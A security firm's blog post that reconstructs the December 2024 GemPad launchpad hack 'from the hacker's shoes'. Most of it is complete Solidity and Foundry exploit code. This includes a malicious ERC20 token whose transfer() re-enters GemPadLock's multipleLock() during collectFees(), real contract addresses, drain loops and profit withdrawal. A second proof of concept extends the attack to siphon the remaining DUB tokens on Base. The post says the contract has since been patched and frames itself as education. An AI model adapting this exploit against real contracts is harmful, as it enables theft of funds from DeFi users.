
On December 17, 2024 the GemPad platform was hacked. As an experiment instead of analyzing the exploit and vulnerability from the perspective of the attack, we will put ourselves in the hacker’s shoes and follow their steps:
Naturally, for the sake of simplicity, we will not analyze all the smart contracts of the protocol, but will focus only on those that are known to be vulnerable.
Note: This article is intended solely for educational purposes and aims to explore the mechanisms of smart contract security. The author bears no responsibility for any potential misuse of the information provided. All vulnerabilities described were discovered after the incident and have since been addressed by the protocol developers.
GemPad is a multi-chain decentralized launchpad and crowdfunding platform. The platform supports a wide range of launch formats, including presales, fair/hyper/linear launches, and provides functionality for token creation, OTC, liquidity pools, and staking without the need for coding smart contracts.
In general launchpads tend to have critical vulnerabilities, e.g. Dx Protocol where we discovered and helped to mitigate a $5.2M vulnerability: https://www.decurity.io/research
GemPad can also create launchpads on Ton and Solana, although the analysis of these projects is beyond the scope of this article.
The first project to conduct a presale was Samurai Legend, which concluded on March 24, 2022.
As of December 23, a total of 753 presales have been conducted on the GemPad platform, raising a combined total of:
Token | Amount -------|-------------- ETH | 6,467.32 USDT | 1,533,077 USDC | 859,433 BNB | 29,435.76 USDbC | 4,921 POL | 100,054.56 BUSD | 1,779,357.88 SOL | 350
The source of this information is GemPad’s API
The total amount of tokens collected on the platform is more than 46M$.
GemPad also has functionality to lock tokens Locks. More details about Locks are provided below.
The vulnerable contract GemPadLock.sol was audited by Cyberscope. The audit revealed only 19 minor vulnerabilities. The company Assure identified 3 vulnerabilities of the medium level in the patched version of the contract after the hack.
Locks are mechanisms that allow to lock ERC20, Uniswap V2 LP tokens or V3 NFT positions for a certain period of time. The presence of Locks for the project’s founders guarantees the impossibility of early withdrawal of liquidity from the LP, increasing the trustworthiness of the project. Locks can be with or without vesting.
The logic for Locks is controlled by the contract GemPadLock.sol, which was an implementation of the proxy.
Let’s go through some functions of GemPadLock.sol:
LockLPV3()
This function allows the user to lock their Uniswap V3 LP token in the contract.

Arguments:
Function actions:
collectFees()
This function is needed to collect fees from the specific Uniswap V3 pool of a Lock.

Arguments:
Function actions:
multipleLock()
The multipleLock() function is designed to create multiple Locks for a single token from different owners in different amounts. It can lock both LP tokens and regular tokens.

Arguments:
multipleLock() calls the internal _multipleLock() function, which:

The _createLock() function calls either _lockLpToken() or _lockNormalToken(), depending on the isLpToken flag. The _lockNormalToken() function:
Calling functions on arbitrary contracts, lack of nonReentrant modifiers, and the fact that the GemPadLocks contract keeps track of balances and holds LP tokens lead to the possibility of a re-entrancy vulnerability.

In the context of re-entrancy, the function collectFees() is particularly interesting because of the possibility of transferring balances from the smart contract and calling INonfungiblePositionManager().collect(). The collect() function inside collectFees() calls token.transfer(), but the token could be malicious, and any function in the GemPadLock.sol contract could be called from transfer() function.
Think for a moment and try to come up with a re-entrancy chain that could lead to loss of funds.
Flow to withdraw any token from the GemPadLock contract:
The idea is that the following re-entrancy chain will create a new Lock token AnyTOKEN, and AnyTOKEN will be transferred from EXP to the GemPadLock contract.
GemPadLock.collectFees()->
INonfungiblePositionManager.collect()->
UniswapPairV3.collect()->
EXP.transfer()->
GemPadLock.multipleLock()Since the GemPadLock.multipleLock() function is called between the balance calculations of token0 and token1 on the contract, the difference will be positive, and it will be sent back to the attacker. The attacker will end up with a new Lock, but the tokens will remain on the exploit contract. This new Lock can then be unlocked in the next block.
Let’s start writing the exploit for transferring LP tokens from the FOMO-WETH pair on the mainnet. The hacker did 4 transactions in the exploit: 1. Create LP V2 2. Exploit the re-entrancy 3. Unlock locks 4. Withdraw profit
Instead we can do it in 2 steps: create a Lock through re-entrancy and call unlock() together with withdrawing ETH.
First, let’s write the structure of the exploit contract which will be an ERC20 token and define all the necessary contract addresses.
contract exploit is Test {
INonfungiblePositionManager uniV3PositionsNFT = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
Uni_Router_V3 uniV3Router = Uni_Router_V3(address(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45));
IUniswapV2Router uniV2Router = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));
IUniswapV2Factory uniV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IWETH weth = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
IERC20 fomo = IERC20(0x9028C2A7f8C8530450549915c5338841Db2a5fEa);
IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IGempadLock gempad = IGempadLock(0x10B5F02956d242aB770605D59B7D27E51E45774C);
IUniswapV2Pair pair = IUniswapV2Pair(uniV2Factory.getPair(address(weth), address(fomo)));
address payable public owner;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
uint256[] public multiple_lock_ids;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() payable {
owner = payable(msg.sender);
name = "EVMHACKS";
symbol = "EVMHACKS";
mint(address(this), 10000 ether);
}
fallback() external payable {}
receive() external payable {}
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
// Here will be implemented the call to gempad.multicall().
emit Transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) public returns (bool) {
// default implementation
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
// default implementation
}
function mint(address to, uint256 amount) public {
// default implementation
}
}Next, we need the create_LPv3_position() function to mint UniV3 NFTs so that calling lockLpV3() will create a Lock.
// Creating UniV3 pool with malicious token EVMHACKS and Uni2 LP FOMO(project token)-WETH
function create_LPv3_position() public payable returns(uint256) {
// eth_swap_amt can be any amount. but the liquidity in the LP3 EVMHACKS-UniV2LP(FOMO-WETH)
// pool depends on it, so it should be sufficient
uint256 eth_swap_amt = 1 ether;
// get some fomo token
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(fomo);
uniV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value:eth_swap_amt/2}(
0, // minAmountOut
path, // swapPath
address(this), // recipient
block.timestamp + 99 // deadline
);
fomo.approve(address(uniV2Router), type(uint256).max); // approve FOMO for addLiquidityETH()
uint256 fomo_balance = fomo.balanceOf(address(this));
// add liquidity to WETH-FOMO pair -> mint LP tokens
uniV2Router.addLiquidityETH{value:eth_swap_amt/2}(
address(fomo), // token
fomo_balance, // amountTokenDesired
0, // amountTokenMin
0, // amountETHMin
address(this), // to
block.timestamp + 99 // deadline
);
// Creating Uni V3 pool with EVMHACKS-LP(WETH-FOMO)
pair.approve(address(uniV3PositionsNFT), type(uint256).max);
uniV3PositionsNFT.createAndInitializePoolIfNecessary(
address(this), // token0
address(pair), // token1
500, // fee
type(uint96).max // sqrtPriceX96
);
// mint uniV3 LP NFT
allowance[address(this)][address(uniV3PositionsNFT)] = type(uint256).max;
uint256 weth_fomo_lp_balance = pair.balanceOf(address(this)); // LP balance of exploit contract.
// Mint EVMHACKS-LP(WETH-FOMO) LP NFT
INonfungiblePositionManager.MintParams memory mint_params = INonfungiblePositionManager.MintParams(
address(this), // token0
address(pair), // token1
500, // fee
-100000, // tickLower
100000, // tickUpper
weth_fomo_lp_balance, // amount0Desired
weth_fomo_lp_balance, // amount1Desired. token1 is exploit token, we can mint infinity EVMHACKS token to self.
0, // amount0Min
0, // amount1Min
address(this), // recipient
block.timestamp + 99 // deadline
);
(uint256 tokenId,,,) = uniV3PositionsNFT.mint(mint_params);
return tokenId;
}Next, we need the mintLpV2() function to mint LP tokens for created Locks through GemPad.multipleLock(). eth_swap_amt affects the number of liquidity tokens we get, and thus the number of Locks we create through re-entrancy.
function mintLpV2() internal returns(uint256){
// eth_fomo_lp_swap_amt can be any amount, but amount of UniLPv2 WETH-FOMO tokens received depends on it
// which we will lock through multipleLock(), respectively, the number of unlock() calls
uint256 eth_fomo_lp_swap_amt = 10 ether;
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(fomo);
// get some FOMO token
uniV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value:eth_fomo_lp_swap_amt/2}(
0,
path,
address(this),
block.timestamp+99
);
uint256 fomo_balance = fomo.balanceOf(address(this));
// got LP tokens weth-fomo
(,,uint256 liq) = uniV2Router.addLiquidityETH{value:eth_fomo_lp_swap_amt/2}(
address(fomo),
fomo_balance,
0,
0,
address(this),
block.timestamp+99
);
return liq;
}Now let’s move on to the main exploit function:
function exploit_it(uint256 nftId) public payable{
uint256 nftId = create_LPv3_position(); // get NFT id UniV3 LP EVMHACKS-UniV2(FOMO-WETH)
uint256 lp_amount = mintLpV2(); // get UniV2 LP WETH-FOMO tokens for multipleLock() in future
// lock nft LpV3 for pass modifiers isLockOwner() and validLockLPv3() in collectFees()
uniV3PositionsNFT.approve(address(gempad), nftId);
uint40 lock_timestamp = uint40(block.timestamp)+1;
uint256 lock_id = gempad.lockLpV3(address(this), address(uniV3PositionsNFT), nftId, lock_timestamp, "", "", address(this), address(0));
// approve self token to uniV3Router for swap
allowance[address(this)][address(uniV3Router)] = type(uint256).max;
// approve UniV2LP to gempad for multipleLock in re-entrancy
pair.approve(address(gempad), type(uint256).max);
Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams(
address(this), // tokenIn
address(pair), // tokenOut
500, // fee
address(this), // recipient
1_000_000_000, // amountIn. it can be any amount, the main thing is to generate a fee
0, // amountOutMinimum
0 // sqrtPriceLimitX96
);
// calculation of iterations of the unlock() calls
// as long as the LP UniV2(WETH-FOMO) Gempad balance is sufficient
uint256 lp2_balance_on_gempad = pair.balanceOf(address(gempad));
uint8 q = uint8(lp2_balance_on_gempad/lp_amount);
// in the loop, we swap the EVMHACKS -> UniV2LP(WETH-FOMO) to generate fees
// that we collect through collectFees() and re-enter in multipleLock()
for(uint8 i = 0; i<q; i++){
uniV3Router.exactInputSingle(params);
gempad.collectFees(lock_id);
}
}The modified transfer() function in the exploit contract that triggers GemPadLock.multipleLock():
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
// condition for call from gempad.collectFees()
if(to == 0x10B5F02956d242aB770605D59B7D27E51E45774C && amount == 499999) {
// prepare calldata for multipleLock()
// amount of FOMO-WETH LP tokens that minted in the mintLpV2() function call and that will lock through multipleLock()
uint256[] memory amounts = new uint256[](1);
amounts[0] = pair.balanceOf(address(this));;
address[] memory owners = new address[](1);
owners[0] = address(this);
uint40 unlock_date = uint40(block.timestamp)+1;
uint256[] memory m_lock_id = gempad.multipleLock(
owners, // owners
address(pair), // token
false, // isLpToken
amounts, // amounts
unlock_date, // unlockDate
"", // description
"", // metaData
address(pair), // projectToken
address(0) // referrer
);
multiple_lock_ids.push(m_lock_id[0]);
}
emit Transfer(msg.sender, to, amount);
return true;
}Finally, we need the unlock() function to unlock all Locks created through re-entrancy and withdraw ETH to the exploiter’s address. This function must be called in next block, as the GemPadLock.unlock() function includes a check for block.timestamp.
function unlock() public {
for(uint8 elem = 0; elem < multiple_lock_ids.length; elem++){
gempad.unlock(multiple_lock_ids[elem]);
}
pair.approve(address(uniV2Router), type(uint256).max);
uint256 deadline = block.timestamp+99;
uniV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(
address(fomo),
bal,
0,
0,
address(this),
deadline
);
owner.transfer(address(this).balance);
}All the components are ready, let’s run the exploit!
function testExploit() public{
vm.startPrank(hacker);
uint256 prev_balance = hacker.balance;
exploit exp_contract = new exploit{value: 12 ether}();
exp_contract.exploit_it(); // tx1: create pairs, start exploit
uint256 timestamp = vm.getBlockTimestamp();
vm.warp(timestamp+1); // step in next block
exp_contract.unlock(); // tx2: unlock all Locks, withrdaw profit
uint256 delta = (hacker.balance-prev_balance)/10**18;
console.log("Profit in ETH: ", delta);
}This will return:

It worked!
The vulnerable contract has been stopped since the hack. But was it possible to grab other tokens from the GemPadLock contract? According to the smart contract portfolio provided by the Debank on the Base network, there are still $1.8M worth of tokens left after the hack.

In fact, not all tokens have liquidity in pairs for such a large amount, but let’s analyze the DUB token.
According to the data from dextools.io the UniV3 DUB-ALB pair has the largest liquidity. And the smart contract of the ALB-WETH pair has 376 WETH at the time of writing.
It turns out that for some reason hacker did not withdraw all the DUB tokens that could be exchanged for WETH. Let’s write a PoC to withdraw all DUB tokens from the GemPadLock smart contract on the Base network at the block height of the original incident.
Logic of exploiting the vulnerability remains the same, even a little simpler. To withdraw ERC20 we do not need mintLpV2()function and other interactions with UniV2 LP.
The basic structure of the exploit will remain the same, only the Uniswap addresses will change.
INonfungiblePositionManager uniV3PositionsNFT = INonfungiblePositionManager(0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1); Uni_Router_V3 uniV3Router = Uni_Router_V3(address(0x2626664c2603336E57B271c5C0b26F421741e481)); IUniswapV2Router uniV2Router = IUniswapV2Router(payable(address(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24))); IUniswapV2Factory uniV2Factory = IUniswapV2Factory(0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6); IWETH weth = IWETH(payable(address(0x4200000000000000000000000000000000000006))); IGempadLock gempad = IGempadLock(0x10B5F02956d242aB770605D59B7D27E51E45774C); IERC20 dub = IERC20(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856);
The function create_Lpv3_position() will become lighter — now we don’t need to call addLiquidityETH()to create a UniV2Lp pair.
// Creating UniV3 pool with malicious token EVMHACKS and DUB and mint NFT LP
function create_LPv3_position(uint256 dub_amount) public payable returns(uint256) {
// Creating Uni V3 pool with EVMHACKS-DUB
dub.approve(address(uniV3PositionsNFT), type(uint256).max);
allowance[address(this)][address(uniV3PositionsNFT)] = type(uint256).max;
uniV3PositionsNFT.createAndInitializePoolIfNecessary(
// Unlike the exploit on LP FOMO-WETH, token0 and token 1 are reversed here due to
// https://github.com/Uniswap/v3-periphery/blob/0682387198a24c7cd63566a2c58398533860a5d1/contracts/base/PoolInitializer.sol#L19
address(dub), // token0.
address(this), // token1
uint24(500), // fee
type(uint96).max // sqrtPriceX96
);
// Mint EVMHACKS-DUB LP NFT
INonfungiblePositionManager.MintParams memory mint_params = INonfungiblePositionManager.MintParams(
address(dub), // token0
address(this), // token1
500, // fee
-100000, // tickLower
100000, // tickUpper
dub_amount, // amount0Desired
dub_amount, // amount1Desired. token1 is exploit token, we can mint infinity EVMHACKS token to self.
0, // amount0Min
0, // amount1Min
address(this), // recipient
block.timestamp + 99 // deadline
);
(uint256 tokenId,,,) = uniV3PositionsNFT.mint(mint_params);
return tokenId;
}In the transfer() function we need to change only the address of the Lock and set DUB token as the project token. Don’t forget that you can use multipleLock()to lock ANY tokens.
uint256[] memory m_lock_id = gempad.multipleLock(owners, address(dub), false, amounts, unlock_date, "", "", address(dub), address(0));
The main exploit function:
function exploit_it(
uint256 dub_amount
) external {
// there is no need for a large amount of DUB token in the liquidity of the UniV3 pair
uint256 dub_amount_for_mint_NFT_LP = dub_amount/1_000_000;
uint256 nftId = create_LPv3_position(dub_amount_for_mint_NFT_LP);
// lock LP EVMHACKS-DUB NFT in gempad
uniV3PositionsNFT.approve(address(gempad), nftId);
uint40 lock_timestamp = uint40(block.timestamp)+1;
uint256 lock_id = gempad.lockLpV3(address(this), address(uniV3PositionsNFT), nftId, lock_timestamp, "", "", address(this), address(0));
console.log("lock_id: ", lock_id);
Uni_Router_V3.ExactInputSingleParams memory params = Uni_Router_V3.ExactInputSingleParams(
address(this), // tokenIn
address(dub), // tokenOut
500, // fee
address(this), // recipient
1_000_000_000, // amountIn. it can be any amount, the main thing is to generate a fee
0, // amountOutMinimum
0 // sqrtPriceLimitX96
);
allowance[address(this)][address(uniV3Router)] = type(uint256).max;
dub.approve(address(uniV3Router), type(uint256).max);
dub.approve(address(gempad), type(uint256).max);
// calculation of iterations of the unlock() calls
// as long as the DUB Gempad balance is sufficient
uint256 gempad_dub_balance = dub.balanceOf(address(gempad));
uint256 dub_self_balance = dub.balanceOf(address(this));
uint256 q = gempad_dub_balance/dub_self_balance;
for(uint8 i = 0; i<q; i++){
uniV3Router.exactInputSingle(params);
gempad.collectFees(lock_id);
}
console.log("multiple_lock_ids: ", multiple_lock_ids.length);
// At the point this contract will have the amount of DUB
// that it had in the beginning. If we had used flashloan, we should have returned them.
}Here is unlock() function to unlock all created Locks (to simplify the code, we will not sell DUB tokens in WETH):
function unlock() public {
uint256 dub_bal = dub.balanceOf(address(this));
console.log("Self DUB before unlock: ", dub_bal);
for(uint8 elem = 0; elem < multiple_lock_ids.length; elem++){
gempad.unlock(multiple_lock_ids[elem]);
}
dub_bal = dub.balanceOf(address(this));
console.log("Self DUB after unlock: ", dub_bal);
// here we can swap DUB->WETH via DUB-ALB->WETH pools
}A careful reader noticed that we need an initial amount of DUB tokens in order to exploit the vulnerability. There are different ways to do this, such as through UniswapPairV3.flash() or by taking WETH via a flashloan and exchanging it to ALB and then to DUB. But for simplicity we will mint the tokens using a foundry cheatcode. The more DUB tokens we have at the beginning, the fewer Locks we need to create to withdraw the entire DUB balance from GemPadLock.
function testExploit() public{
// this is the amount of DUB tokens at the time of the hack on the DUB-ALB pair from where you can get flashloan.
// this amount can lower, but then to withdraw ALL DUB tokens from the Gamepad contract, you would need to do
// more iterations of collectFees() in the for (Q)
uint256 dub_flashloan_amount = 22126859807371300580304730;
vm.startPrank(hacker);
exploit exp_contract = new exploit();
// In practice, there are many ways to get the right amount of DUB. including through flashloan
deal(address(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856), address(exp_contract), dub_flashloan_amount);
exp_contract.exploit_it(dub_flashloan_amount);
uint256 timestamp = vm.getBlockTimestamp();
vm.warp(timestamp+1); // step in next block
// simulate that we have returned all the DUB to flashloan
deal(address(0x30457a1ab7cd796d6E55E4e5BA12e09f2283e856), address(exp_contract), 0);
exp_contract.unlock(); // tx2: unlock all Locks, withrdaw profit
}This will return:

Unlike the hacker, we withdrew the entire DUB balance from the vulnerable GemPadLock contract, which can be exchanged for WETH through the remaining liquidity!
The implementation of the contract in all chains has now been updated to a secure version. The nonReentrantmodifier has been added to public functions.
Full code of PoCs for ERC20 and UniV2LP are in this repository.
Read our previous articles:
GemPad — $1.8M Incident Super Deep Dive was originally published in Decurity on Medium, where people are continuing the conversation by highlighting and responding to this story.
The researchers who write this are the ones who run the audits.